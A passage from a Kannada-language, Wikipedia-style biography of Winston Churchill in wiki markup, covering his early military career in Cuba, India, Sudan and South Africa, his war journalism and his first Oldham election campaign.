ಕೋರಿಕೆ ಸಲ್ಲಿಸಿದರು. ಇಲ್ಲಿ ಸೇರಿಕೊಳ್ಳುವ ಮುಂಚೆ ಮೂರು ಬಾರಿ ಪ್ರವೇಶ ಪರೀಕ್ಷೆ ಪಾಸು ಮಾಡಲು ಪ್ರಯತ್ನ ನಡೆಸಿದ್ದರು. ಅವರು ಪದಾತಿದಳಕ್ಕೆ ಅವಕಾಶ ಗಿಟ್ಟಿಸುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ ಅಶ್ವದಳಕ್ಕೆ ಸೇರಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸಿದರು. ಏಕೆಂದರೆ ಅಶ್ವದಳದಲ್ಲಿ ದರ್ಜೆಯ ಅವಶ್ಯಕತೆ ಕಡಿಮೆ ಇತ್ತು ಮತ್ತು ಗಣಿತ ಕಲಿಯಲು ಆಸಕ್ತಿ ಇರಲಿಲ್ಲ. ಡಿಸೆಂಬರ್ ೧೮೯೪ ರಲ್ಲಿ ಇವರು ೧೫೦ಯ ಒಂದು ವರ್ಗದಲ್ಲಿ ಎಂಟನೆಯವರಾಗಿ ಪದವಿ ಪಡೆದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೨೦–೨೧</ref> * ಅವರು ತಮ್ಮ ತಂದೆಯೆ ಇಚ್ಛೆಯಂತೆಯೇ ಈಗ ಪದಾತಿದಳ ಪಡೆಗೆ ವರ್ಗಾವಣೆಯನ್ನು ಹೊಂದುವ ಅವಕಾಶವಿದ್ದರೂ ಕೂಡ, ಅಶ್ವದಳದಲ್ಲಿಯೇ ಇರುವುದಕ್ಕೆ ಬಯಸಿದರು. ಫೆಬ್ರವರಿ ೨೦ ೧೮೯೫ರಂದು ೪ನೆಯ ಕ್ವೀನ್ಸ್ ಓನ್ ಹುಸಾರ್ಸ್‌ನಲ್ಲಿ ಐದನೆಯ ದರ್ಜೆಯ ಅಧಿಕಾರಿಯಾಗಿ (ಎರಡನೆಯ ಲೆಫ್ಟಿನೆಂಟ್) ನೇಮಕಗೊಂಡರು.<ref name="Centre-Hussars" /> ೧೯೪೧ರಲ್ಲಿ ಹುಸಾರ್ಸ್‌‌ನ ಕರ್ನಲ್ ಆಗಿ ನೇಮಕವಾಗುವ ಗೌರವ ಪಡೆದುಕೊಂಡರು. * ಚರ್ಚಿಲ್‌ ೪ನೇಯ ಹುಸಾರ್ಸ್‌‌ನ ದ್ವಿತೀಯ ಲೆಫ್ಟಿನೆಂಟ್ ಆಗಿ ಅವರ ಸಂಬಳ £೩೦೦. ಇತರೆ ರೆಜಿಮೆಂಟಿನ ಅಧಿಕಾರಿಗಳ ಜೀವನ ರೀತಿಗೆ ಸಮನಾಗಿರಬೇಕಾದರೆ ಇನ್ನೂ ಹೆಚ್ಚಿನ £೫೦೦ (ಇದು ೨೦೦೧ರಲ್ಲಿನ £೨೫,೦೦೦ ಕ್ಕೆ ಸಮ) ಅವಶ್ಯಕತೆ ಇದೆ ನಂಬಿದ್ದರು. ಇವರ ತಾಯಿ ವರ್ಷಕ್ಕೆ £೪೦೦ ನೀಡುತ್ತಿದ್ದರು ಆದರೆ ಮತ್ತೆ ಇದಕ್ಕಿಂತ ಹೆಚ್ಚಿಗೆ ವೆಚ್ಚವಾಗುತ್ತಿತ್ತು. *ಜೀವನಚರಿತ್ರಕಾರ ರೇ ಜೆನ್ಕಿನ್ಸ್ ಪ್ರಕಾರ ಇವರು ಯುದ್ಧ ಬಾತ್ಮಿದಾರಿಕೆಯಲ್ಲಿ ಆಸಕ್ತಿ ಹೊಂದಲು ಒಂದು ಪ್ರಮುಖ ಕಾರಣವೆಂದು ಹೇಳುತ್ತಾರೆ.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೨೧–೪೫</ref> ಸಾಂಪ್ರದಾಯಿಕವಾದ ರೀತಿಯಲ್ಲಿ ಅಂದರೆ ಪದೋನ್ನತಿ ಮೂಲಕ ಆರ್ಮಿ ದರ್ಜೆ ಪಡೆಯುವ ಉದ್ದೇಶ ಹೊಂದಿರಲಿಲ್ಲ ಅದರೆ ಮಿಲಿಟರಿಯಲ್ಲಿ ಎಲ್ಲಾ ಕಡೆಗಳಿಂದಲೂ, ಸಾಧ್ಯವಿರುವ ಎಲ್ಲಾ ಅವಕಾಶಗಳನ್ನು ಮತ್ತು ಮೇಲ್ದರ್ಜೆಯ ಸಮಾಜದಲ್ಲಿ ತಾಯಿ ಮತ್ತು ಕುಟುಂಬದ ವಶೀಲಿಯನ್ನು ಬಳಸಿಕೊಂಡು ಸಕ್ರೀಯ ಹೋರಾಟಗಳಲ್ಲಿ ತಮ್ಮ ಸ್ಥಳ ನೇಮಕಾತಿ ಮಾಡಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದರು. ಇವರ ಬರವಣಿಗೆಯು ಸಾರ್ವಜನಿಕರ ಗಮನ ಸೆಳೆದು ಇನ್ನೂ ಹೆಚ್ಚಿನ ಆದಾಯ ಗಳಿಸಲು ಸಹಾಯವಾಯಿತು. ಲಂಡನ್ನಿನ ಹಲವಾರು ಸುದ್ಧಿ ಪತ್ರಿಕೆಗಳಿಗೆ ಯುದ್ಧ ವರದಿಗಾರರಾಗಿ ಕೆಲಸ ಮಾಡಿದರು <ref>{{cite journal|title=On the character and achievement of Sir Winston Churchill|journal=The Canadian Journal of Economics and Political Science, Vol 23, No. 2 May 1957 (May, 1957)|pages=173–194|author=G. K. Lewis}}</ref> ಹೋರಾಟದ ಕುರಿತಾಗಿ ತಮ್ಮದೆ ಆದ ಪುಸ್ತಕ ಬರೆದರು. ===ಕ್ಯೂಬಾ=== ೧೮೯೫ರಲ್ಲಿ ಕ್ಯೂಬಾದ ಗೆರಿಲ್ಲಾಗಳ ವಿರುದ್ಧ ಸ್ಪ್ಯಾನಿಶ್ ಹೋರಾಟವನ್ನು ವೀಕ್ಷಿಸಲು ಚರ್ಚಿಲ್‌ [[ಕ್ಯೂಬಾ|ಕ್ಯೂಬಾಕ್ಕೆ]] ತೆರಳಿದರು; ''ಡೇಲಿ ಗ್ರಾಫಿಕ್‌'' ನಿಂದ ಹೋರಾಟದ ಕುರಿತಾಗಿ ಬರೆಯಲು ನಿಯೋಜನೆಗೊಂಡರು. ತಮ್ಮ ಇಪ್ಪತ್ತೊಂದನೆಯ ಹುಟ್ಟುಹಬ್ಬದಂದು ಮೊಟ್ಟ ಮೊದಲ ಬಾರಿಗೆ ಯುದ್ಧಕ್ಕೆ ಬಂದಿರುವುದು ಸಂತಸವನ್ನುಂಟು ಮಾಡಿತು.<ref name="Centre-Hussars" /> ಕ್ಯೂಬಾದ ನೆನಪಿನಲ್ಲಿ ಹೀಗೆ ಬರೆಯುತ್ತಾರೆ "...ದೊಡ್ಡದಾದ, ಶ್ರೀಮಂತ,ಸುಂದರ ದ್ವೀಪ..."<ref>ಚರ್ಚಿಲ್‌, ವಿನ್‌ಸ್ಟನ್ ಎಸ್. S. ೧೯೫೧ ಎರಡನೆಯ ಜಾಗತಿಕ ಯುದ್ಧ, ಆವೃತ್ತಿ ೫: ಕ್ಲೋಸಿಂಗ್ ದ ರಿಂಗ್. ಹಾಗ್‌ಟನ್ ಮೊಫಿನ್ ಎಡಿಷನ್. ಬ್ಯಾಂಟಮ್ ಬುಕ್ಸ್, ನ್ಯೂಯಾರ್ಕ್ ಸಂಖ್ಯೆಐಎಸ್‌ಬಿಎನ್ ಅಥವಾ ನೀಡಲ್ಪಟ್ಟ ಇತರ ಸಂಖ್ಯೆಗಳು. ಪುಟ. ೬೦೬. "ವಿದೇಶಿ ಕಾರ್ಯದರ್ಶಿ ೫ ಕ್ಕೆ ಪ್ರಧಾನಮಂತ್ರಿ. ಫೆಬ್ರವರಿ (೧೯)೪೪. ರಾಯಭಾರದ ಸ್ಥಿತಿಗೆ ಕೆಲವು ನಿರ್ದಿಷ್ಟ ಶಾಸನಗಳನ್ನು ಜಾರಿಗೊಳಿಸುವುದರ ಬಗ್ಗೆ ನಿಮ್ಮ ಸೂಚನೆ ಪತ್ರ. ಕ್ಯೂಬಾ ಇತರ ಕೆಲವು ಪ್ರದೇಶಗಳಂತೆಯೇ ಉತ್ತಮ ಹಕ್ಕ ನ್ನು ಹೊಂದಿದೆ ಎಂಬುದನ್ನು ನಾನು ಹೇಳಲೇಬೇಕು - ’ಲಾ ಎರ್ಲಾ ದೇ ಲಾಸ್ ಅಂಟಿಲಾಸ್’. ಇತರ ಎಲ್ಲವುಗಳು ಇದನ್ನು ಹೊಂದಿದ್ದರೆ ಮಹಾನ್ ಅಪರಾಧವು ನೀಡಲ್ಪಡುತ್ತದೆ ಮತ್ತು ಈ ದೊಡ್ಡ, ಸಂಪದ್ಭರಿತ, ಸುಂದರ ದ್ವೀಪ, ಸಿಗಾರ್‌ನ ಮೂಲವು ನಶಿಸಲ್ಪಡುತ್ತದೆ. ನಿಶ್ಚಿತವಾಗಿಯೂ ಕ್ಯೂಬಾ ವೆನೆಜುಯೆಲಾಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿನ ಹಕ್ಕನ್ನು ಹೊಂದಿದೆ. ನೀವು ಇವುಗಳನ್ನು ಹೊರಗಡೆ ಬಿಟ್ಟಲ್ಲಿ ಒಂದು ಮತ್ಸರ ತುಂಬಿದ ಶತ್ರುವನ್ನು ಮಾಡಿಕೊಳ್ಳುತ್ತೀರಿ, ಮತ್ತು ಸ್ವಲ್ಪ ಸಮಯದ ನಂತರ ನೀವು ಇತರರಿಗೆ ನೀಡಲ್ಪಟ್ಟಿದ್ದನ್ನು ಅವುಗಳಿಗೂ ನೀಡುವುದಕ್ಕೆ ಬಲವಂತ ಮಾಡಲ್ಪಡುತೀರಿ."</ref> ಇಲ್ಲಿ ಅವರು ಹವಾನಾ ಸಿಗಾರ್‌ ರುಚಿ ಅಭ್ಯಾಸಕ್ಕೊಳಗಾದರು ಮತ್ತು ತಮ್ಮ ಜೀವನದುದ್ದಕ್ಕೂ ಇದನ್ನು ಸೇದುತ್ತಿದ್ದರು. ನ್ಯೂಯಾರ್ಕ್‌ನಲ್ಲಿದ್ದಾಗ ತಮ್ಮ ತಾಯಿಯ ಆತ್ಮೀಯ ಬಾರ್ಕ್ ಕಾರ್ಕ್‍ರನ್, ಮನೆಯಲ್ಲಿದ್ದರು. ಬಾರ್ಕ್ ಅಮೆರಿಕಾದ ರಾಜಕಾರಣಿ ಮತ್ತು ಹೌಸ್ ಆಫ್ ರೆಪ್ರಸೆಂಟೆಟಿವ್‌ನ ಸದಸ್ಯ. ಇವರ ಭಾಷಣ ಮತ್ತು ರಾಜಕೀಯದಿಂದ ಚರ್ಚಿಲ್‌‌ ಬಹಳ ಪ್ರಭಾವಿಗೊಂಡರು ಮತ್ತು ಅಮೆರಿಕಾದ ಕುರಿತ ಪ್ರೀತಿ ಯನ್ನು ಹೆಚ್ಚಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್ ಪುಟ. ೨೯</ref> ಶೀಘ್ರದಲ್ಲಿಯೆ ಇವರು ತಮ್ಮ ದಾದಿ ಮಿಸಸ್ ಎವರೆಸ್ಟ್ ಸಾಯುವ ಸ್ಥಿತಿಯಲ್ಲಿದ್ದಾರೆಂಬ ಸುದ್ಧಿ ಕೇಳಿ ಇಂಗ್ಲೆಂಡಿಗೆ ಹಿಂದಿರುಗಿ ಅವರು ಸಾಯುವ ತನಕ ಜೊತೆಯಲ್ಲಿದ್ದರು. ತಮ್ಮ ಜರ್ನಲ್‌ನಲ್ಲಿ ಹೀಗೆ ಬರೆಯುತ್ತಾರೆ "ಅವಳು ನನ್ನ ಉತ್ತಮ ಗೆಳತಿಯಾಗಿ ಇದ್ದಳು". ತಮ್ಮ ''ಮೈ ಅರ್ಲಿ ಲೈಫ್'' ಪುಸ್ತಕದಲ್ಲಿ ಹೀಗೆ ಬರೆಯುತ್ತಾರೆ: "ನಾನು ಕಳೆದ ಇಪ್ಪತ್ತು ವರ್ಷದ ಜೀವನದಲ್ಲಿ ಆಕೆ ನನ್ನ ಪ್ರೀತಿಯ ಮತ್ತು ಆತ್ಮೀಯ ಗೆಳತಿಯಾಗಿದ್ದಳು."<ref>{{cite journal|title=Winston Churchill's Poignant Description of the Death of his Nanny|journal=PEDIATRICS Vol. 60 No.|date=5 November 1977|page=752|author=T. E. C. Jr. M.D.}}</ref> ===ಭಾರತ=== ೧೮೯೬ ಅಕ್ಟೋಬರ್ ಮೊದಲಿಗೆ ಇವರನ್ನು ಬ್ರಿಟೀಷ್ ಇಂಡಿಯಾದ [[ಮುಂಬೈ|ಬಾಂಬೆ]]ಗೆ ವರ್ಗಾಯಿಸಲಾಯಿತು. ತಮ್ಮ ರೆಜಿಮೆಂಟಿನಲ್ಲಿ ಒಬ್ಬ ಉತ್ತಮ ಪೋಲೊ ಆಟಗಾರರೆಂದು ಹೆಸರುವಾಸಿಯಾಗಿದ್ದರು ಮತ್ತು ಹಲವಾರು ಪ್ರತಿಷ್ಠಿತ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ ತಮ್ಮ ತಂಡವನ್ನು ಮುನ್ನಡೆಸಿ ಗೆಲುವು ತಂದಿದ್ದರು.<ref>{{cite journal|title=Winston Leonard Spencer Churchill. 1874–1965|author=R. V. Jones|journal=Biographical Memoirs of Fellows of the Royal Society, Vol. 12, Nov., 1966 (Nov., 1966)|pages=34–105|year=1966|volume=12|doi=10.1098/rsbm.1966.0003|jstor=769525}}</ref> [[File:Wc0042-3b13159r.jpg|thumb|1900ರಲ್ಲಿ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಭಾಷಣದ ಪ್ರವಾಸದಲ್ಲಿ ಯುವಕ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್.]] ೧೮೯೭ರಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವಶ್ಯಕತೆ ಬಿದ್ದರೆ ಗ್ರೆಗೊ-ಟರ್ಕಿಶ್ ಯುದ್ಧಕ್ಕೆ ಮತ್ತು ವರದಿಗೆ ಪ್ರಯತ್ನಿಸಿದರು ಆದರೆ ಇವರು ಬರುವುದಕ್ಕಿಂತ ಮೊದಲಿಗೆ ಯುದ್ಧವು ಮುಕ್ತಾಯವಾಗಿತ್ತು. ನಂತರ ಇಂಗ್ಲೆಂಡಿನಲ್ಲಿ ತಮ್ಮ ರಜಾ ದಿನಗಳನ್ನ ಕಳೆಯಲು ತಯಾರಾಗುತ್ತಿದ್ದಾಗ ಬ್ರಿಟೀಶ್ ಸೈನ್ಯದ ಮೂರು ಬ್ರಿಗೇಡ್‌ಗಳು ಭಾರತದ ವಾಯುವ್ಯ ಫ್ರಂಟೀರ್‌ನಲ್ಲಿ ಪಾಸ್ತುನ್ ಬುಡಕಟ್ಟಿವರ ಜೊತೆಗೆ ಯುದ್ಧಕ್ಕೆ ಹೋಗುತ್ತಾರೆಂಬ ಮಾಹಿತಿ ಸಿಕ್ಕಿತು ಕೂಡಲೇ ತಮ್ಮ ಮೇಲಾಧಿಕಾರಿಗಳನ್ನು ತಾನು ಕೂಡ ಸೇರಿಕೊಳ್ಳಲೆ ಎಂದು ಕೇಳಿಕೊಂಡರು.<ref>{{cite web|url=http://arthursclassicnovels.com/arthurs/churchill/mkdff10.html|title=The Story Of The Malakand Field Force – An Episode of Frontier War|author=Sir Winston S. Churchill|work=arthursclassicnovels.com|accessdate=17 March 2007|archiveurl=https://web.archive.org/web/20070714183801/http://arthursclassicnovels.com/arthurs/churchill/mkdff10.html|archivedate=July 14, 2007|deadurl=yes}}</ref> ಬ್ರಿಟೀಷ್ ಭಾರತದ ಫ್ರಂಟೀಯರ್ ಪ್ರಾಂತವಾದ<span class="goog-gtc-fnr-highlight"> ಮಲಕಾಂಡ್‌</span>ನಲ್ಲಿ ಕಾರ್ಯಾಚರಣೆ ನಡೆಸುತ್ತಿದ್ದ ಎರಡನೆಯ ಬ್ರಿಗೇಡ್‌ನ ಕಮಾಂಡರ್ ಜನರಲ್ ಜೆಫ್ರಿಯಡಿಯಲ್ಲಿ ಹೋರಾಟ ಮಾಡಿದರು. ಚರ್ಚಿಲ್‌ರನ್ನು ಜೆಫ್ರಿ ಹದಿನೈದು ಜನ ಬೇಹುಗಾರರೊಂದಿಗೆ ಮಮುಂಡ್ ಕಣಿವೆಯನ್ನು ಪರಿಶೀಲಿಸಲು ಕಳುಹಿಸಿದರು ಅಲ್ಲಿ ಇವರು ಶತ್ರು ಬುಡಕಟ್ಟಿವರನ್ನ ತಮ್ಮ ಕುದುರೆಗಳಿಂದ ಮತ್ತು ಮುಖಾಮುಖಿ ಹೋರಾಟದಿಂದ ಸೋಲಿಸಿದರು. ಹೋರಾಟದ ಒಂದು ತಾಸಿನ ನಂತರ ಅವರನ್ನು ಬಲಪಡಿಸಲು ಮೂವತ್ತೈದನೇಯ ಸಿಕ್‌ರು ಆಗಮಿಸಿದರು ನಿಧಾನವಾಗಿ ಕದನ ನಿಂತಿತು ಮತ್ತು ಗ್ರಿಗೇಡ್ ಮತ್ತು ಸಿಕ್ಕರು ಅಲ್ಲಿಂದ ತೆರಳಿದರು. ನಂತರದಲ್ಲಿ ಸುಮಾರು ನೂರಾರು ಬುಡಕಟ್ಟು ಜನರು ಹೊಂಚುಹಾಕಿ ಹೋರಾಟ ಆರಂಭಿಸಿದರು ಮತ್ತು ಬಲವಂತವಾಗಿ ಹಿಮ್ಮೆಟ್ಟುವಂತೆ ಮಾಡಿದರು. ಹಿಮ್ಮೆಟ್ಟಿದ ತಂಡದ ನಾಲ್ಕು ಜನರು ಭೀಕರವಾಗಿ ಕೂಗುತ್ತಾ ಹೋರಾಡಿ ಅಧಿಕಾರಿಗಳನ್ನು ಗಾಯಗೊಳಿಸಿದರು ಮತ್ತು ಹಿಂದಿರುಗುವಂತೆ ಮಾಡಿದರು. ಹಿಂದುಳಿದ ವ್ಯಕ್ತಿ ಸಾಯುವ ಮೊದಲು ಚರ್ಚಿಲ್‌ರ ಕಣ್ಣೆದುರಿನಲ್ಲಿ ಕಡಿದುಹಾಕಲಾಯಿತು; ನಂತರ ಹೀಗೆ ಬರೆಯುತ್ತಾರೆ, " ಈ ವ್ಯಕ್ತಿಯನ್ನು ಸಾಯಿಸಬೇಕೆಂಬ ಇಚ್ಚೆಯನ್ನು ಹೊರತು ಪಡಿಸಿ ಉಳಿದೆಲ್ಲವನ್ನು ಮರೆತಿದ್ದೆ"<ref name="Mamund" /> ಆದರು ಕೆಲವು ಸಿಕ್‌ ಹುಡುಗರು ಸುರಕ್ಷಿತವಾಗಿದ್ದಾರೆ ಅವರನ್ನು ಹಿಡಿದು ಅವರ ಬಲ ಕುಗ್ಗಿಸಬೇಕೆಂದು ಚರ್ಚಿಲ್‌ರಿಗೆ ಒಬ್ಬ ಕಮಾಂಡಿಂಗ್ ಅಧಿಕಾರಿ ಹೇಳುತ್ತಾನೆ. ಅವರು ಅಲ್ಲಿಂದ ಹೊರಡುವುದಕ್ಕಿಂಟ ಮೊದಲಿಗೆ ಒಂದು ಮಾಹಿತಿ ಪತ್ರವನ್ನು ಕೇಳುತ್ತಾನೆ ಅದಿಲ್ಲದೆ ಅವರು ಯಾವುದೇ ದಾಳಿಮಾಡಲು ಸಿದ್ಧನಿರಲಿಲ್ಲ .<ref>{{cite book|last=Churchill|first=Winston|title=My Early Life|year=2002|month=October|publisher=Eland Publishing Ltd|isbn=0-907871-62-3|page=143}}</ref> ತಕ್ಷಣವೆ ಸಹಿಯಾದ ಪತ್ರವನ್ನು ತೆಗೆದು ಕೊಂಡು ಶಿಖರವನ್ನು ಹತ್ತಿ ಇತರೆ ಬ್ರಿಗೇಡ್‌ಗೆ ಎಚ್ಚರವಾಗಿರುವಂತೆ ಸೂಚಿಸಿ ತಕ್ಷಣವೇ ಸೈನ್ಯದಲ್ಲಿ ಕಾರ್ಯನಿರತನಾದನು. ಪ್ರದೇಶವು ಪುನರ್‌ವಶವಾಗುವವರೆಗೆ ಹೋರಾಟವು ಇನ್ನೂ ಎರಡುವಾರ ಮುಂದುವರೆಯಿತು. ತಮ್ಮ ಜರ್ನಲ್‌ನಲ್ಲಿ ಹೀಗೆ ಬರೆಯುತ್ತಾರೆ" ಇದು ಸರಿ ಹೌದೊ ಅಲ್ಲವೊ ಎಂಬುದನ್ನು ನಾನು ಹೇಳಲಾರೆ."<ref name="Mamund">{{cite news|title=Two opposition views of Afghanistan: British activist and Dutch MP want to know why their countries are participating in a dangerous adventure|publisher=Spectrazine|date=20 March 2006|accessdate=17 March 2007}}</ref><ref>{{cite news|date=11 December 2004|title=Churchill On The Frontier – Mamund Valley III|publisher=UK Commentators|accessdate=17 March 2007}}</ref> ಸೀಜ್ ಆಫ್ ಮಲಕಾಂಡ್‌ ಡಿಸೆಂಬರ್ ೧೯೦೦ ರಂದು ''ದ ಸ್ಟೋರಿ ಆಫ್ ದ ಮಲಕಾಂಡ್‌ ಫೀಲ್ಡ್ ಫೋರ್ಸ್'' ಎಂದು ಪ್ರಕಟವಾಯಿತು. ಇಕ್ಕಾಗಿ £೬೦೦ ಪಡೆದುಕೊಂಡರು. ಕದನದ ಸಮಯಲ್ಲಿ ''ದ ಪಯೋನಿಯರ್'' ಮತ್ತು ''ದಿ ಡೇಲಿ ಟೆಲಿಫ್ರಾಫ್'' ಪತ್ರಿಕೆಗಳಿಗೆ ಲೇಖನಗಳನ್ನೂ ಬರೆಯುತ್ತಿದ್ದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೨೯–೩೧</ref> ಇವರ ಹೋರಾಟದ ಕುರಿತಾದ ಅನುಭವದ ಮೊದಲು ಪ್ರಕಟವಾದ ಕಥೆಗಳಿಗೆ ''ದಿ ಡೇಲಿ ಟೆಲಿಫ್ರಾಫ್‌'' ನಿಂದ ಪ್ರತಿ ಕಾಲಂಗೆ £೫ ಪಡೆಯುತ್ತಿದ್ದರು.<ref name="Centre-Youth">{{cite web|url=http://www.winstonchurchill.org/learn/biography/timelines/youth-1874-19006|title=Youth: 1874–1900|work=Sir Winston Churchill|accessdate=28 August 2009}}{{Dead link|date=July 2010}}</ref> ===ಸೂಡಾನ್ ಮತ್ತು ಓಡಮ್=== ೧೮೯೮ರಲ್ಲಿ [[ಈಜಿಪ್ಟ್|ಈಜಿಪ್ಟ್‌]]ಗೆ ವರ್ಗಾವಣೆಗೊಂಡರು. ಲಕ್ಸರ್‌ಗೆ ಹೋಗುವುದಕ್ಕಿಂತ ಮೊದಲಿಗೆ ಜನರಲ್ ಹರ್ಬರ್ಟ್ ಕಿಚನರ್ ಜೊತೆಗೆ ೨೧ನೇಯ ಲ್ಯಾನ್ಸರ್ಸ್‌ನಲ್ಲಿ ಸೇವೆಸಲ್ಲಿಸಲು [[ಸುಡಾನ್|ಸೂಡಾನ್‌]]ಗೆ ಹೋಗಿದ್ದರು. ಈ ಸಮಯದಲ್ಲಿ ಸಂಧಿಸಿದ್ದ ಅಧಿಕಾರಿಗಳಾದ ಕ್ಯಾಪ್ಟನ್ ಡೋಗ್ಲಾಸ್ ಹೇಗ್‌, ಮತ್ತು ಡೇವಿಡ್ ಬೀಟಿ, ಫಿರಂಗಿ ನೌಕೆ ಲೆಫ್ಟಿನೆಂಟ್ ಜೊತೆಗೆ ಮೊದಲನೆ ಜಾಗತಿಕ ಸಮಯದಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೪೦</ref> ಸೆಪ್ಟೆಂಬರ್ ೧೮೯೮ರಲ್ಲಿ ಸೂಡಾನ್‌ನ ಒಮ್‌ಡುರ್ಮನ್ ಯದ್ಧದಲ್ಲಿ ಕೊನೆಯ ಬ್ರಿಟೀಷ್ ಅಶ್ವದಳತಂತ್ರದಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದರು.<ref>ಬ್ರೈಟನ್, ಟೆರ್ರಿ, ''ದ ಲಾಸ್ಟ್ ಚಾರ್ಜ್: ೨೧ನೆಯ ಲ್ಯಾನ್ಸರ್ಸ್ ಮತ್ತು ಒಮ್‌ಡುರ್ಮನ್‌ನ ಯುದ್ಧ'' . ಮಾರ್ಲ್‌ಬೋರೊ: ಕ್ರಾವೂಡ್, ೧೯೯೮. ಐಎಸ್‌ಬಿಎನ್ ೧೮೬೧೨೬೧೮೯೬</ref> ಇಲ್ಲಿ ''ಮಾರ್ನಿಂಗ್ ಪೋಸ್ಟ್‌'' ನ ಬಾತ್ಮೀದಾರರಾಗಿ ಕೆಲಸ ಮಾಡಿದರು. ಬ್ರಿಟನ್‌ಗೆ ಹಿಂದಿರುಗಿ ಅಕ್ಟೋಬರ್ ೧೮೯೮ರಿಂದ ಎರಡು ಸಂಪುಟದ ಕೆಲಸ ಆರಂಭಿಸಿದರು ''ದಿ ರಿವರ್ ವಾರ್'' ,ಸೂಡಾನ್‌ನ ಪುನಃ ಗೆದ್ದ ಸಂಗ್ರಹ ಇದು ಮುಂದಿನ ವರ್ಷದಲ್ಲಿ ಪ್ರಕಟವಾಯಿತು. ೫ ಮೇ ೧೮೯೯ರಲ್ಲಿ ಬ್ರಿಟೀಷ್ ಸೈನ್ಯಕ್ಕೆ ರಾಜೀನಾಮೆ ನೀಡಿದರು. ಆ‍ಯ್‌ಸ್ಕ್ರಾಫ್ಟ್‌ನ ಓಡಮ್‌ ಚುನಾವಣಾ ಕ್ಷೇತ್ರದಲ್ಲಿ ಎರಡನೇಯ ಕನ್ಸರ್ವೇಟಿವ್ ಪಾರ್ಟಿಯ ಅಭ್ಯರ್ಥಿಯಾಗಿ ರಾಬರ್ಟ್ ಆ‍ಯ್‌ಸ್ಕ್ರಾಫ್ಟ್‌ರಿಂದ ಆಹ್ವಾನ ಬಂದಾಗ ಇವರ ಸಂಸತ್ತಿನ ಜೀವನದ ಮೊದಲ ಅವಕಾಶ ದೊರೆಯಿತು. ಆ‍ಯ್‌ಸ್ಕ್ರಾಫ್ಟ್‌ರ ಹಠಾತ್ ನಿಧನದಿಂದ ಎರಡನೇಯ ಉಪಚುನಾವಣೆಯಲ್ಲಿ ಚರ್ಚಿಲ್ ಕೂಡ ಒಬ್ಬ ಅಭ್ಯರ್ತಿಯಾದರು. ಕನ್ಸರ್ವೇಟಿವ್ ವಿರುದ್ಧ ಅಲೆ ಇದ್ದ ಕಾಲವಾದ್ದರಿಂದ ಚರ್ಚಿಲ್ ಎರಡು ಸ್ಥಾನಗಳಲ್ಲೂ ಸೋತರು ಆದರು ಹುರುಪಿನ ಪ್ರಚಾರದಿಂದ ಪ್ರಭಾವಿತಗೊಂಡಿದ್ದರು ===ದಕ್ಷಿಣ ಆಫ್ರಿಕಾ‌=== ಓಡಮ್‌ನಲ್ಲಿ ವೈಫಲ್ಯ ಕಂಡ ನಂತರ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನದ ಮತ್ತೊಂದು ಅವಕಾಶಕ್ಕಾಗಿ ಕಾಯತೊಡಗಿದರು. ೧೨ ಅಕ್ಟೋಬರ್ ೧೮೯೯, ಬ್ರಿಟೀಷ್ ಮತ್ತು ಬೋರ್ ರಿಪಬ್ಲಿಕನ್ಸ್‌ರ ನಡುವೆ ದ್ವಿತೀಯ ಬೋರ್ ಯುದ್ಧ ಸ್ಪೋಟಗೊಂಡಿತು ಇದ ವರದಿ ಮಾಡಲು ಮಾರ್ನಿಂಗ್ ಪೋಸ್ಟ್ ವರದಿಗಾರರಾಗಿ ತಿಂಗಳಿಗೆ £೨೫೦ ಮೇಲೆ ನಿಯೋಜನೆಗೊಂಡರು. ಹೊಸದಾಗಿ ನಿಯೋಜನೆಗೊಂಡ ಬ್ರಿಟೀಷ್ ಕಮಾಂಡರ್ ಸರ್ ರೆಡ್ವರ್ಸ್ ಬುಲ್ಲರ್‌ ಹಡಗಿನಲ್ಲೆ ಆತುರವಾಗಿ ಹೊರಟರು. ಕೆಲವು ವಾರಗಳ ನಂತರ ಬೇಹುಗಾರರರು ಶಸ್ತ್ರಾಸ್ತ್ರ ತುಂಬಿದ ರೇಲ್ವೇಯಲ್ಲಿ ಪ್ರಯಾಣ ಮಾಡುತ್ತಿದ್ದಾಗ ಅವರ ಜೊತೆಗಿದ್ದರು ಆಗ ಇವರನ್ನು ಹಿಡಿದು ಪ್ರಿಟೋರಿಯಾದ ಪಿಒಡಬ್ಲ್ಯೂ ಶಿಬಿರದಲ್ಲಿ ಶಿಕ್ಷೆ ವಿಧಿಸಲಾಯಿತು (ಈ ಕಟ್ಟಡವನ್ನು ಶಾಲೆಯಾಗಿ ಬದಲಾಯಿಸಿ ಹುಡುಗಿಯರಿಗಾಗಿ ಪ್ರಿಟೋರಿಯಾ ಹೈಸ್ಕೂಲ್ ಎನ್ನಲಾಗುತ್ತದೆ). ರೇಲ್ವೆ ಮೇಲೆ ನಡೆದ ಆಕ್ರಮಣದ ಸಮಯದಲ್ಲಿ ತೋರಿದ ಸಾಹಸಕ್ಕಾಗಿ ಬ್ರಿಟನ್‌ನ ಶ್ರೇಷ್ಠ ಶೌರ್ಯ ಪ್ರಶಸ್ತಿ ವಿಕೋರಿಯಾ ಕ್ರಾಸ್‌ ಭಾಜನರಾದರು. ಆದರೆ ಇದು ಸಿಗಲಿಲ್ಲ<ref name="Centre-Hussars" /> ಕೈದಿಗಳ ಶಿಬಿರದಿಂದ ತಪ್ಪಿಸಿಕೊಂಡು ಇಂಗ್ಲೀಷ್ ಗನಿ ಮ್ಯಾನೇಜರ್‌ ಸಹಾಯದಿಂದ ಪೋರ್ಚುಗೀಸ್‌ನ ಡೇಲಗೋವಾ ಬೇಯ {{convert|300|mi|km|abbr=on}} 